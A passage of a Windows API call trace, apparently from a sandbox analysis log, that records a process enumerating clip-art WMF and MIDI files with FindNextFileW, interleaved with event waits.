hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0254.041] ResetEvent (hEvent=0x118) returned 1 [0254.041] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.050] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0254.051] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0254.051] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0254.051] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0254.052] ResetEvent (hEvent=0x118) returned 1 [0254.052] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.063] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0254.063] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0254.064] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0254.064] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0254.064] ResetEvent (hEvent=0x118) returned 1 [0254.064] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.077] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0254.077] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0254.077] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0254.078] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0254.078] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0254.078] ResetEvent (hEvent=0x118) returned 1 [0254.079] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.086] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0254.087] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0254.087] ResetEvent (hEvent=0x118) returned 1 [0254.087] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.090] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0254.090] ResetEvent (hEvent=0x118) returned 1 [0254.090] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.100] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0254.101] ResetEvent (hEvent=0x118) returned 1 [0254.101] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.110] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0254.110] ResetEvent (hEvent=0x118) returned 1 [0254.110] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.114] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0254.114] ResetEvent (hEvent=0x118) returned 1 [0254.114] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.118] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0254.119] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0254.119] ResetEvent (hEvent=0x118) returned 1 [0254.119] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.122] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0254.122] ResetEvent (hEvent=0x118) returned 1 [0254.122] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.830] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0254.830] ResetEvent (hEvent=0x118) returned 1 [0254.830] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.866] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0254.866] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0254.867] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0254.867] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0254.867] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0254.868] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0254.868] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0254.868] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0254.869] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0254.869] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0254.869] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0254.870] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0254.870] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0254.870] ResetEvent (hEvent=0x118) returned 1 [0254.870] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.874] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0254.874] ResetEvent (hEvent=0x118) returned 1 [0254.874] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.878] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0254.878] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0254.878] ResetEvent (hEvent=0x118) returned 1 [0254.878] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.930] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0254.930] ResetEvent (hEvent=0x118) returned 1 [0254.931] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.934] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0254.935] ResetEvent (hEvent=0x118) returned 1 [0254.935] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.939] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0254.939] ResetEvent 